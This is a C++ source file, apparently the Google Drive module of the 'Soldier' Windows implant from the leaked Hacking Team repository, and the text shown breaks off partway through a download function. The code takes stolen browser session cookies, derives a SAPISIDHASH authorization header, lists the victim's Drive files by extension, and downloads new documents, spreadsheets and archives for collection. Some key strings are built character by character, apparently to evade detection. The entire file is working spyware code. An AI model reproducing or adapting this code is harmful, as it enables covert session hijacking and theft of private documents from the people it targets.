hackedteam/soldier-win

View on GitHub
Soldier/googledocs.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>
#include <time.h>
#include "social.h"
#include "globals.h"
#include "proto.h"
#include "debug.h"
#include "zmem.h"
#include "utils.h"
#include "facebook.h"
#include "JSON.h"
#include "googledocs.h"
#include "log_cloudfile.h"
#include "conf.h"
#include "version.h"
#include "base64.h"

#include "sha1.h"


//google docs handler
DWORD GoogleDocsHandler(LPSTR pszCookie)
{
    if (!ConfIsModuleEnabled(L"file"))
        return SOCIAL_REQUEST_SUCCESS;

    #ifdef _DEBUG
        OutputDebug(L"[*] GoogleDocsHandler\n");
    #endif    

    GD_PARAMS Params;    
    DWORD      dwRet, dwErr = SOCIAL_REQUEST_BAD_COOKIE;
    GD_FILE_LIST DocList  = {0};
    GD_FILE_LIST FileList = {0};
    
    SecureZeroMemory(&Params, sizeof(Params));

    dwRet = GD_GetAuthParams(&Params, pszCookie);
    if(dwRet == GD_E_SUCCESS)
    {
        LPWSTR pwszFilter[] = {L"zip", L"pdf", L"xlsx", L"xls", L"doc", L"docx", L"txt", L"\0"};

        //get the list of files to download
        dwRet = GD_GetFileList_V2(&DocList, &FileList, &Params, pwszFilter, pszCookie);
        if(dwRet == GD_E_SUCCESS)
        {
            //download the documents
            dwRet = GD_DownloadFiles(&DocList, &Params, pszCookie);
            if(dwRet == GD_E_SUCCESS)
                dwErr = SOCIAL_REQUEST_SUCCESS;

            //download the files
            dwRet = GD_DownloadFiles(&FileList, &Params, pszCookie);
            if(dwRet == GD_E_SUCCESS)
                dwErr = SOCIAL_REQUEST_SUCCESS;
        }
        else if((dwRet == GD_E_SKIP_FILE) && ((DocList.Items == 0) && (FileList.Items == 0)))
        {
            //no more files to donwload
            dwErr = SOCIAL_REQUEST_SUCCESS;
        }
    }
    
    GD_DeleteFileList(&DocList.List);

    GD_DeleteFileList(&FileList.List);

    //delete the connection parameters
    GD_DeleteConnParams(&Params);

    return dwErr;
}


//delete all the connection parameters
void GD_DeleteConnParams(PGD_PARAMS pParams)
{
    znfree(&pParams->pszDriveID);
    znfree(&pParams->pszToken);
    znfree(&pParams->pszDevKey);
    znfree(&pParams->pszAuthHash);
    znfree(&pParams->pszAuthOrig);

    pParams->dwTimestampDoc  = 0;
    pParams->dwTimestampFile = 0;
}

/*
[
    ["xsrf","AC4w5VgABCLsQkl7BPDhBSxn6tgdB5R2Gg:1419841504609",["09281402559468684799"]],
    "YYkyuUoBAAA.A6hzlcceztZTn8iCc-cK8g.PmEyMCnH8bFPh1aUpr4SxA",
    "https://drive.google.com/drive?authuser\u003d0"
]
*/
//get the token parameter and the developer key
DWORD GD_ExtractConnParams(LPSTR pszBuffer, PGD_PARAMS pParams)
{
    LPSTR pszTmp = NULL;
    int    i=0;

    //znfree(&pParams->pszToken);

    ////search the string "xsrf"
    //pszTmp = strstr(pszBuffer, "xsrf\"");
    //if(pszTmp == NULL)
    //{
    //    //#ifdef _DEBUG
    //    //    OutputDebugString(L"[!] Connection parameter not found (xsrf).");
    //    //#endif

    //    return GD_E_NO_PARAMS;
    //}
    //pszBuffer = pszTmp;

    ////search 3 ','
    //for(i=0; (i<3) && (pszTmp != NULL); i++)
    //{
    //    pszTmp = strstr(pszTmp, ",");
    //    if(pszTmp)
    //        pszTmp += 1;
    //}
    //if(pszTmp == NULL)
    //{
    //    //#ifdef _DEBUG
    //    //    OutputDebugString(L"[!] Connection parameter not found (0).");
    //    //#endif
    //    
    //    return GD_E_NO_PARAMS;
    //}

    ////skip the first " char
    //pszTmp += 1;

    ////get the token string till the next " char ("o3Ujh0oBAAA.A6hzlcceztZTn8iCc-cK8g.5ijjtnDaZyB3wsee3f9saQ")
    //for(i=0; (i<60) && (pszTmp[i] != 0); i++)
    //{
    //    if(pszTmp[i] == '"')
    //    {
    //        i += 1;
    //        pParams->pszToken = (LPSTR)malloc(i);
    //        if(pParams->pszToken == NULL)
    //        {
    //            //#ifdef _DEBUG
    //            //    OutputDebugString(L"[!] Memory allocation failed (token).");
    //            //#endif

    //            return GD_E_ALLOC;
    //        }

    //        SecureZeroMemory(pParams->pszToken, i);
    //        //save the token
    //        strncpy_s(pParams->pszToken, i, pszTmp, i-1);

    //        break;
    //    }
    //}

    //if(pParams->pszToken == NULL)
    //{
    //    //#ifdef _DEBUG
    //    //    OutputDebugString(L"[!] Connection parameter not found (token).");
    //    //#endif

    //    return GD_E_NO_PARAMS;
    //}

    /* get the developer key (es: AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4)
    "drive_main","drive_fe_2014.50-Thu_RC5"],[1,1,["AHbMEF2xKMrXFXg+8RfBN+PRo5nX8BN2L9BS9qxaztiVegpHbMeyhKjFEWfDRB6gac30WQELDPmq"],
    "AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4"
    */
    
    if(pszBuffer == NULL)
        return GD_E_NO_PARAMS;

    //search the string "drive_main",
    pszTmp = strstr(pszBuffer, "drive_main\",");
    if(pszTmp == NULL)
    {
        //#ifdef _DEBUG
        //    OutputDebugString(L"[!] Connection parameter not found (drive_main).");
        //#endif
        
        return GD_E_NO_PARAMS;
    }

    //search 2 "]"
    for(i=0; (i<2) && (pszTmp != NULL); i++)
    {
        pszTmp = strstr(pszTmp, "]");
        if(pszTmp)
            pszTmp += 1;
    }

    if(pszTmp == NULL)
    {
        #ifdef _DEBUG
            OutputDebugString(L"[!] Connection parameter not found (1).");
        #endif        

        return GD_E_NO_PARAMS;
    }

    //search the firts " char
    pszTmp = strstr(pszTmp, "\"");
    if(pszTmp == NULL)
    {
        //#ifdef _DEBUG
        //    OutputDebugString(L"[!] Connection parameter not found (2).");
        //#endif
        
        return GD_E_NO_PARAMS;
    }
    pszTmp += 1;

    //get the developer key string till the next " char ("AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4")
    for(i=0; (i<50) && (pszTmp[i] != 0); i++)
    {
        if(pszTmp[i] == '"')
        {
            i += 1;
            pParams->pszDevKey = (LPSTR)malloc(i);
            if(pParams->pszDevKey == NULL)
            {
                //#ifdef _DEBUG
                //    OutputDebugString(L"[!] Memory allocation failed (key).");
                //#endif

                return GD_E_ALLOC;
            }
            SecureZeroMemory(pParams->pszDevKey, i);

            //save the token
            strncpy_s(pParams->pszDevKey, i, pszTmp, i-1);

            return GD_E_SUCCESS;
        }
    }

    return GD_E_NO_PARAMS;
}



//convert the 5 dword of sha1 in a hex string
char *GD_Sha1ToHex(unsigned int pszHash[5])
{
    char *pszHex = (char*)malloc(128);
    memset(pszHex, 0, 128);

    for(int i=0, j=0; i < 5; i++, j+=8)
    {
        sprintf(&pszHex[j], "%08x", pszHash[i]);
    }    

    return pszHex;
}


LPSTR GD_ExtractCookie(LPSTR pszCookieName, LPSTR pszCookie)
{
    LPSTR pBuf=NULL, pEnd=NULL, pszVal=NULL;
    DWORD dwLen=0;

    if((pszCookieName == NULL) || (pszCookie == NULL))
        return NULL;

    //extract the cookie value
    pBuf = strstr(pszCookie, pszCookieName);
    if(pBuf == NULL)
    {
        return NULL;
    }
    
    //extract the cookie value
    pBuf += strlen(pszCookieName) + 1; //add 1 char for the '='
    pEnd = strstr(pBuf, ";");
    if(!pEnd)
    {
        pEnd =  pBuf;
        pEnd += strlen(pBuf);
    }

    dwLen = pEnd - pBuf;

    pszVal = (LPSTR)zalloc(dwLen+1);
    if(pszVal == NULL)
    {
        return NULL;
    }

    strncpy(pszVal, pBuf, dwLen);

    return pszVal;
}

//connect to google drive and extract connection parameters
DWORD GD_GetAuthParams(PGD_PARAMS pParams, LPSTR pszCookie)
{
    LPWSTR  pwszHeader=NULL, pwszURI=NULL;
    LPSTR    pszRecvBuffer=NULL;
    DWORD    dwRet, dwBufferSize=0, dwSize=0, dwLen=0, dwErr=GD_E_GENERIC;
    CHAR    pszBuf[128];    

    //search for the SAPISID cookie necessary for the authentication process
    LPSTR pszSAPISID = GD_ExtractCookie("SAPISID", pszCookie);
    if(pszSAPISID == NULL)
    {
        return GD_E_MISSING_COOKIE;
    }

    dwSize = 2048;
    pwszHeader = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
    pwszURI    = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
    
    //get conn parameters
    //swprintf_s(pwszHeader, dwSize, L"Host: drive.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nUser-Agent: %s\r\nReferer: https://drive.google.com/?authuser=0\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4", SOCIAL_USER_AGENT);    
    wcscpy_s(pwszHeader, dwSize, L"Host: drive.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nReferer: https://drive.google.com/?authuser=0\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4");
    dwRet = HttpSocialRequest(L"drive.google.com",
                              L"GET", 
                              L"/drive/?rfd=1",
                              pwszHeader, 
                              443, 
                              NULL, 
                              0, 
                              (LPBYTE *)&pszRecvBuffer, 
                              &dwBufferSize, 
                              pszCookie);
    SecureZeroMemory(pwszURI, dwSize);

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
    {
        znfree(&pszRecvBuffer);
        znfree(&pwszHeader);
        znfree(&pwszURI);
        return GD_E_HTTP;
    }

    //extract the token value
    dwRet = GD_ExtractConnParams(pszRecvBuffer, pParams);
    znfree(&pszRecvBuffer);

    if(dwRet != GD_E_SUCCESS)
    {
        return dwRet;
    }

    //origin url
    pParams->pszAuthOrig = (LPSTR)zalloc(strlen("https://drive.google.com") + 1);
    strcpy(pParams->pszAuthOrig, "https://drive.google.com");

    //hash the cookie with other values    
    SHA1Context pSha1Context;

    //hash the SAPISID cookie and the value of the 'Origin' header in the next HTTP request
    sprintf(pszBuf, "%s %s", pszSAPISID, pParams->pszAuthOrig);    
    znfree(&pszSAPISID);

    SHA1Reset(&pSha1Context);
    SHA1Input(&pSha1Context, (const UCHAR*)pszBuf, strlen(pszBuf));
    SHA1Result(&pSha1Context);
    pParams->pszAuthHash = GD_Sha1ToHex(pSha1Context.Message_Digest);

    //get some account information
    swprintf_s(pwszHeader,
               dwSize,
               L"Host: clients6.google.com\r\nConnection: keep-alive\r\nOrigin: %S\r\nX-JavaScript-User-Agent: google-api-javascript-client/0.1\r\nX-Goog-AuthUser: 0\r\nAuthorization: SAPISIDHASH %S\r\nAccept: */*\r\nReferer: https://drive.google.com/drive/\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4",
               pParams->pszAuthOrig, pParams->pszAuthHash);

    //L"/drive/v2internal/about?fields=kind%2Cuser%2CrootFolderId&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",
    swprintf_s(pwszURI, dwSize, L"/drive/v2internal/about?fields=kind%%2Cuser%%2CrootFolderId&key=%S", pParams->pszDevKey);

    dwRet = HttpSocialRequest(L"clients6.google.com",
                              L"GET",
                              pwszURI,                              
                              pwszHeader,
                              443, 
                              NULL, 
                              0, 
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize, 
                              pszCookie);
    znfree(&pwszHeader);
    znfree(&pwszURI);

    //#ifdef _DEBUG
    //    if(pszRecvBuffer)
    //        GD_DumpBuffer(L"k:\\GDocs\\gd_accountinfo.html", pszRecvBuffer, strlen(pszRecvBuffer));
    //#endif

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (pszRecvBuffer == NULL))
    {    
        znfree(&pszRecvBuffer);        
        return GD_E_HTTP;
    }

    JSONValue *jValue;
    JSONObject jObj;

    //parse the list (json structure)
    jValue = JSON::Parse(pszRecvBuffer);

    //free buffer
    znfree((LPVOID*)&pszRecvBuffer);

    if(jValue == NULL)
        return GD_E_INVALID_JSON_DATA;

    //get the root folder id
    if(jValue->IsObject())
    {
        jObj = jValue->AsObject();

        if(jObj[L"rootFolderId"]->IsString())
        {
            dwSize = wcslen(jObj[L"rootFolderId"]->AsString().c_str());
            if(dwSize > 0)
            {
                size_t dwConv = 0;

                pParams->pszDriveID = (LPSTR)zalloc(dwSize+1);
                wcstombs_s(&dwConv, pParams->pszDriveID, dwSize+1, jObj[L"rootFolderId"]->AsString().c_str(), _TRUNCATE);

                if(dwConv == 0)
                {
                    znfree(&pParams->pszDriveID);
                    dwErr = GD_E_GENERIC;
                }
                else
                    dwErr = GD_E_SUCCESS;
            }
        }
    }

    //free json structure
    delete jValue;

    return dwErr;
}


//return the file type parsing the json file array
GD_ITEM_TYPE GD_GetFileType(JSONObject jObj)
{    
    WCHAR szMimeType[] = { L'm', L'i', L'm', L'e', L'T', L'y', L'p', L'e', L'\0'};
    WCHAR szFileSize[] = { L'f', L'i', L'l', L'e', L'S', L'i', L'z', L'e', L'\0'};
    WCHAR szFileExt[]  = { L'f', L'i', L'l', L'e', L'E', L'x', L't', L'e', L'n', L's', L'i', L'o', L'n', L'\0'};

    if(!jObj[szMimeType]->IsString())
        return GD_ITEM_UNKNOWN;    
    
    //verify if it's a directory
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.folder") != NULL)
        return GD_ITEM_DIR;

    //verify if it's a google spreadsheet (xlsx)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.spreadsheet") != NULL)
        return GD_ITEM_XLS;

    //verify if it's a google spreadsheet (xlsx)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.ritz") != NULL)
        return GD_ITEM_XLS;    

    //verify if it's a google presentation (ppt)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.presentation") != NULL)
        return GD_ITEM_PPT;    

    //verify if it's a google presentation (ppt)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.punch") != NULL)
        return GD_ITEM_PPT;

    //verify if it's a google drawing (jpg)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.drawing") != NULL)
        return GD_ITEM_JPG;    

    //verify if it's a google document (docx)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.document") != NULL)
        return GD_ITEM_DOC;    

    //verify if it's a google document (docx)
    if(StrStrI(jObj[szMimeType]->AsString().c_str(), L"google-apps.kix") != NULL)
        return GD_ITEM_DOC;    

    //check the file size
    if(!jObj[szFileSize]->IsString())
        return GD_ITEM_UNKNOWN;

    if(jObj[szFileSize]->AsString().c_str() == NULL)
        return GD_ITEM_UNKNOWN;

    return GD_ITEM_FILE;
}


//verify if the size of the file is valid and return the size in bytes
DWORD GD_GetFileSize(JSONObject jFileObj, GD_ITEM_TYPE FileType)
{
    WCHAR pwszFileSize[] = { L'f', L'i', L'l', L'e', L'S', L'i', L'z', L'e', L'\0'};
    double dSize = 0;

    //get file size (continue if the file size is not a number of if the size is 0)
    if(!jFileObj[pwszFileSize]->IsString())
        return 0;

    //if the file size is not a number
    dSize = _wtof(jFileObj[pwszFileSize]->AsString().c_str());
    if((dSize == 0) && (FileType == GD_ITEM_FILE))
        return 0;

    if(((DWORD)dSize) > GD_MAX_FILE_SIZE)
        return 0;

    return ((DWORD)dSize);
}


//get google_drive and google_docs file list
DWORD GD_GetFileList_V2(PGD_FILE_LIST pDocList, PGD_FILE_LIST pFileList, PGD_PARAMS pParams, LPWSTR *pwszFileType, LPSTR pszCookie)
{    
    LPWSTR      pwszHeader=NULL, pwszURI=NULL;
    LPSTR      pszRecvBuffer=NULL, pszSendBuffer=NULL;
    DWORD      dwRet, dwBufferSize=0, dwFiles=0, i=0, dwSize=0, dwErr=GD_E_GENERIC, dwNrMail=100;
    JSONValue *jValue;
    JSONObject jObj;
    JSONArray jFiles, jArray;

    dwSize        = 2048;
    pwszHeader  = (LPWSTR)zalloc(dwSize*sizeof(WCHAR));
    pwszURI     = (LPWSTR)zalloc(dwSize*sizeof(WCHAR));

    //file request
    swprintf_s(pwszHeader,
               dwSize,
               L"Host: clients6.google.com\r\nConnection: keep-alive\r\nOrigin: %S\r\nX-JavaScript-User-Agent: google-api-javascript-client/0.1\r\nX-Goog-AuthUser: 0\r\nAuthorization: SAPISIDHASH %S\r\nAccept: */*\r\nReferer: https://drive.google.com/drive/\r\nAccept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4",
               pParams->pszAuthOrig, pParams->pszAuthHash);

    //L"/drive/v2internal/files?q=trashed%20%3D%20false&fields=kind%2Citems(kind%2CcreatedDate%2Cdescription%2CfileExtension%2CfileSize%2Cid%2ClastViewedByMeDate%2CmimeType%2CmodifiedDate%2Ctitle)&appDataFilter=NO_APP_DATA&maxResults=50&sortBy=LAST_MODIFIED&reverseSort=false&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",
    swprintf_s(pwszURI,
               dwSize,
               //OK //L"/drive/v2internal/files?q=trashed%%20%%3D%%20false&fields=kind%%2Citems(kind%%2CcreatedDate%%2Cdescription%%2CfileExtension%%2CfileSize%%2Cid%%2ClastViewedByMeDate%%2CmimeType%%2CmodifiedDate%%2Ctitle)&appDataFilter=NO_APP_DATA&maxResults=%d&sortBy=LAST_MODIFIED&reverseSort=false&key=%S",
               L"/drive/v2internal/files?q=trashed%%20%%3D%%20false&fields=kind%%2Citems(kind%%2CcreatedDate%%2Cdescription%%2CfileExtension%%2CfileSize%%2Cid%%2ClastViewedByMeDate%%2CmimeType%%2CmodifiedDate%%2Ctitle%%2Cparents(kind%%2Cid%%2CisRoot))&appDataFilter=NO_APP_DATA&maxResults=%d&sortBy=LAST_MODIFIED&reverseSort=false&key=%S",
               dwNrMail, pParams->pszDevKey);
    

    dwRet = HttpSocialRequest(L"clients6.google.com",
                              L"GET",
                              //L"/drive/v2internal/files?q=trashed%20%3D%20false&spaces=DRIVE&maxResults=150&sortBy=LAST_MODIFIED&key=AIzaSyAy9VVXHSpS2IJpptzYtGbLP3-3_l0aBk4",                              
                              pwszURI,
                              pwszHeader,
                              443, 
                              NULL, 
                              0, 
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize, 
                              pszCookie);
    
    znfree(&pwszURI);
    znfree(&pwszHeader);
    #ifdef _DEBUG
        if(pszRecvBuffer)
            GD_DumpBuffer(L"k:\\GDocs\\gd_filelist.html", pszRecvBuffer, strlen(pszRecvBuffer));
    #endif

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize < 6))
    {
        znfree(&pszRecvBuffer);
        return GD_E_HTTP;
    }    

    //parse the list (json structure)
    jValue = JSON::Parse(pszRecvBuffer);    

    znfree(&pszRecvBuffer);

    if(jValue != NULL)
    {
        //get the last saved timestamp for documents
        dwRet = GD_GetLastTimeStamp("DC", &pParams->dwTimestampDoc, pParams->pszDriveID);
        if(dwRet != GD_E_SUCCESS)
        {
            delete jValue;
            return GD_E_GENERIC;
        }

        //get the last saved timestamp for files
        dwRet = GD_GetLastTimeStamp("FL", &pParams->dwTimestampFile, pParams->pszDriveID);
        if(dwRet != GD_E_SUCCESS)
        {
            delete jValue;
            return GD_E_GENERIC;
        }

        if(jValue->IsObject())
        {
            jObj = jValue->AsObject();

            if(jObj[L"items"]->IsArray())
            {
                //array of objects
                jArray = jObj[L"items"]->AsArray();
        
                SecureZeroMemory(pFileList, sizeof(GD_FILE_LIST));

                //loop the array of objects
                for(DWORD i=0; i<jArray.size(); i++)
                {
                    if(!jArray[i]->IsObject())
                        continue;

                    //file object
                    jObj = jArray[i]->AsObject();

                    PGD_FILE pFile = NULL;

                    //get file information (id, size and timestamp)
                    dwRet = GD_GetFileInfo_V2(&pFile, jObj, pParams->dwTimestampDoc, pParams->dwTimestampFile);
                    if(dwRet == GD_E_SUCCESS)
                    {
                        int  nPos=0;
                        BOOL bAdded=FALSE;

                        dwErr = dwRet;

                        //filter by file extension
                        for(int j=0; pwszFileType[j][0] != 0; j++)
                        {
                            //length of the filetype
                            nPos = wcslen(pFile->pwszFileName) - wcslen(pwszFileType[j]);
                            if(nPos < 0)
                                continue;

                            //verify if file extension matches
                            if(_wcsicmp(&pFile->pwszFileName[nPos], pwszFileType[j]))
                                continue;

                            if(GD_IsGoogleDoc(pFile->FileType))
                            {
                                //add to the document list
                                GD_AddFileToList(&pDocList->List, pFile);
                                //increase the files number
                                pDocList->Items++;
                            }
                            else
                            {
                                //add to the file list
                                GD_AddFileToList(&pFileList->List, pFile);
                                //increase the files number
                                pFileList->Items++;
                            }

                            bAdded = TRUE;

                            break;
                        }

                        if(!bAdded)
                        {
                            GD_DeleteFile(pFile);
                            pFile = NULL;
                        }
                    }
                    else
                    {    
                        GD_DeleteFile(pFile);
                        pFile = NULL;

                        if((dwRet == GD_E_SKIP_FILE) && ((pFileList->Items > 0) || (pDocList->Items > 0)))
                            dwErr = GD_E_SUCCESS;
                        else
                            dwErr = dwRet;
                    }
                }

                #ifdef _DEBUG
                if(pDocList->Items > 0)
                    GD_PrintList(pDocList->List);
                if(pFileList->Items > 0)
                    GD_PrintList(pFileList->List);
                #endif
            }
        }
    }
    
    delete jValue;

    return dwErr;
}

//get the timestamp of the file (modified date or creation date)
//the date is in format 2015-01-22T16:18:24.166Z
DWORD GD_GetFileTimestamp(JSONObject jFileObj)
{    
    WCHAR  pwszModDate[]    = { L'm', L'o', L'd', L'i', L'f', L'i', L'e', L'd', L'D', L'a', L't', L'e', L'\0'};
    WCHAR  pwszCreateDate[] = { L'c', L'r', L'e', L'a', L't', L'e', L'D', L'a', L't', L'e', L'\0'};
    WCHAR  pwszBuf[32] = {0};
    DWORD  dwLen=0;
    INT64  iTime64;
    struct tm time;
    
    //get time stamp
    if((!jFileObj[pwszModDate]->IsString()) || (jFileObj[pwszModDate]->AsString().c_str() == NULL))
        return 0;
    
    wcscpy_s(pwszBuf, sizeof(pwszBuf)/2, jFileObj[pwszModDate]->AsString().c_str());

    dwLen = wcslen(pwszBuf);    
    if(dwLen < 18)
        return 0;

    SecureZeroMemory(&time, sizeof(time));
    //extract the date
    time.tm_year = _wtoi(&pwszBuf[0]) - 1900;
    time.tm_mon  = _wtoi(&pwszBuf[5]) - 1;
    time.tm_mday = _wtoi(&pwszBuf[8]);

    time.tm_hour = _wtoi(&pwszBuf[11]);
    time.tm_min  = _wtoi(&pwszBuf[14]);
    time.tm_sec  = _wtoi(&pwszBuf[17]);    

    iTime64 = _mkgmtime64(&time);
    if(iTime64 == -1)
        return 0;
    
    return (DWORD)iTime64;
}

//extract file info from a json array
DWORD GD_GetFileInfo_V2(PGD_FILE *pFile, JSONObject jFileObj, DWORD dwSavedTimestampDoc, DWORD dwSavedTimestampFile)
{    
    WCHAR         pwszFileID[]    = { L'i', L'd', L'\0'};
    WCHAR         pwszFileName[]    = { L't', L'i', L't', L'l', L'e', L'\0'};
    DWORD         i=0, dwSize=0, dwFileSize=0, dwTimestamp=0, dwCmpTimestamp=0;
    GD_ITEM_TYPE FileType;
    PGD_FILE     pNewFile = NULL;
    
    if(jFileObj.size() == 0)
        return GD_E_INVALID_JSON_DATA;

    //verify if it's a file or a directory
    if(jFileObj[L"kind"]->IsString())
    {
        if(_wcsicmp(jFileObj[L"kind"]->AsString().c_str(), L"drive#file"))
            return GD_E_SKIP_FILE;
    }

    //check the file id
    if(!jFileObj[pwszFileID]->IsString())
        return GD_E_SKIP_FILE;
    if(jFileObj[pwszFileID]->AsString().c_str() == NULL)
        return GD_E_SKIP_FILE;

    //get the file type
    FileType = GD_GetFileType(jFileObj);
    if((FileType == GD_ITEM_UNKNOWN) || (FileType == GD_ITEM_DIR))
        return GD_E_SKIP_FILE;

    //check the file size except for google docs (we don't have the size)
    if(!GD_IsGoogleDoc(FileType))
    {    
        dwFileSize = GD_GetFileSize(jFileObj, FileType);
        if(dwFileSize == 0)
            return GD_E_SKIP_FILE;

        dwCmpTimestamp = dwSavedTimestampFile;
    }
    else 
    {
        dwCmpTimestamp = dwSavedTimestampDoc;
    }

    dwTimestamp = GD_GetFileTimestamp(jFileObj);
        
    //if the timestamp is < than the last one saved, skip the file
    if(dwTimestamp <= dwCmpTimestamp)        
        return GD_E_SKIP_FILE;

    //create a new file struct
    *pFile = (PGD_FILE)malloc(sizeof(GD_FILE));
    if(*pFile == NULL)
    {
        //#ifdef _DEBUG
        //OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(File))");
        //#endif

        return GD_E_ALLOC;
    }
    pNewFile = *pFile;    
    SecureZeroMemory(pNewFile, sizeof(GD_FILE));
    
    //get the file id
    dwSize = wcslen(jFileObj[pwszFileID]->AsString().c_str()) + 1;
    pNewFile->pwszFileID = (LPWSTR)zalloc(dwSize * sizeof(WCHAR));
    if(pNewFile->pwszFileID == NULL)
    {
        znfree((LPVOID*)pFile);

        //#ifdef _DEBUG
        //OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(FileID))");
        //#endif

        return GD_E_ALLOC;
    }
    wcscpy_s(pNewFile->pwszFileID, dwSize, jFileObj[pwszFileID]->AsString().c_str());

    //get the file name
    WCHAR pwszRoot[] = { L'c', L'l', L'o', L'u', L'd', L':', L'\\', L'G', L'o', L'o', L'g', L'l', L'e', L'D', L'r', L'i', L'v', L'e', L'\\', L'\0'};

    if(jFileObj[pwszFileName]->IsString())
    {
        dwSize = wcslen(jFileObj[pwszFileName]->AsString().c_str()) + wcslen(pwszRoot) + 1;
        pNewFile->pwszFileName = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
        if(pNewFile->pwszFileName == NULL)
        {
            znfree((LPVOID*)&pNewFile->pwszFileID);
            znfree((LPVOID*)pFile);                

            #ifdef _DEBUG
            OutputDebugString(L"[!] Memory allocation failed (GD_GetFileInfo(FileName))");
            #endif

            return GD_E_ALLOC;
        }
        swprintf_s(pNewFile->pwszFileName, dwSize, L"%s%s", pwszRoot, jFileObj[pwszFileName]->AsString().c_str());
        //wcscpy_s(pNewFile->pwszFileName, dwSize, jFileObj[pwszFileName]->AsString().c_str());

        //if the file is a google document, append the extension according to file type
        if(GD_IsGoogleDoc(FileType))
            GD_AddFileExtension(&pNewFile->pwszFileName, FileType);
    }
    else
    {
        return GD_E_INVALID_JSON_DATA;
    }

    //file timestamp
    pNewFile->dwTimestamp = dwTimestamp;

    //save the file type
    pNewFile->FileType = FileType;

    //file size
    pNewFile->dwFileSize = dwFileSize;

    return GD_E_SUCCESS;
}



DWORD GD_GetFile(PGD_FILE pFile,  PGD_PARAMS pParams, LPSTR pszCookie)
{        
    LPWSTR pwszURI=NULL, pwszHost=NULL, pwszHeader=NULL, pwszFrom=NULL, pwszTo=NULL;
    LPSTR  pszRecvBuf=NULL;
    DWORD  dwBufferSize=0, dwRet, dwSize=0;

    pwszURI = (LPWSTR)zalloc(1024 * sizeof(WCHAR));
    if(pwszURI == NULL)
        return GD_E_ALLOC;

    pwszHost = (LPWSTR)zalloc(256 * sizeof(WCHAR));
    if(pwszURI == NULL)
    {
        znfree(&pwszURI);
        return GD_E_ALLOC;
    }

    pwszHeader = (LPWSTR)zalloc(1024 * sizeof(WCHAR));
    if(pwszHeader == NULL)
    {
        znfree(&pwszURI);
        znfree(&pwszHost);
        return GD_E_ALLOC;                    
    }

    switch(pFile->FileType)
    {
        case GD_ITEM_DOC:
            swprintf_s(pwszURI, 1024, L"/document/d/%s/export?format=docx",        pFile->pwszFileID);
        break;
                
        case GD_ITEM_XLS:
            swprintf_s(pwszURI, 1024, L"/spreadsheets/d/%s/export?format=xlsx",    pFile->pwszFileID);                    
        break;

        case GD_ITEM_PPT:
            swprintf_s(pwszURI, 1024, L"/presentation/d/%s/export/pptx",        pFile->pwszFileID);
        break;

        case GD_ITEM_JPG:                    
            swprintf_s(pwszURI, 1024, L"/drawings/d/%s/export/jpeg",            pFile->pwszFileID);
        break;

        case GD_ITEM_FILE:
            swprintf_s(pwszURI, 1024, L"/uc?id=%s&authuser=0&export=download",    pFile->pwszFileID);
        break;
    }

    #ifdef _DEBUG
    OutputDebugStringA(pszCookie);
    OutputDebugStringA("\r\n");
    #endif 

    //http request
    if(GD_IsGoogleDoc(pFile->FileType))    
    {
        wcscpy_s(pwszHost, 256, L"docs.google.com");

        dwRet = HttpSocialRequest(pwszHost,
                                    L"GET",
                                    pwszURI,
                                    L"Connection: keep-alive\r\nAccept: */*",
                                    443, 
                                    NULL, 
                                    0, 
                                    (LPBYTE *)&pszRecvBuf,
                                    &dwBufferSize, 
                                    pszCookie,
                                    GD_MAX_FILE_SIZE);
        znfree(&pwszURI);
        znfree(&pwszHost);
        znfree(&pwszHeader);

        if(dwRet != SOCIAL_REQUEST_SUCCESS)
        {
            znfree(&pszRecvBuf);        
            return GD_E_HTTP;
        }

        //check doc size
        if(dwBufferSize > GD_MAX_FILE_SIZE)
        {
            znfree(&pszRecvBuf);        
            return GD_E_FILESIZE;
        }

    }
    else
    {
        znfree(&pszRecvBuf);
        wcscpy_s(pwszHost, 256, L"drive.google.com");

        //swprintf(pwszHeader, L"Connection: keep-alive\r\nOrigin: %S\r\nContent-Type: application/x-www-form-urlencoded;charset=utf-8\r\nAuthorization: SAPISIDHASH %S\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nReferer: https://drive.google.com",
        //         pParams->pszAuthOrig, pParams->pszAuthHash);
        dwRet = HttpSocialRequest(pwszHost,
                                    L"POST",
                                    pwszURI,
                                    L"Content-Type: application/x-www-form-urlencoded;charset=utf-8\r\n",
                                    443, 
                                    NULL, 
                                    0, 
                                    (LPBYTE *)&pszRecvBuf,
                                    &dwBufferSize, 
                                    pszCookie);

        if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize < 5))
        {
            znfree(&pwszURI);
            znfree(&pwszHost);
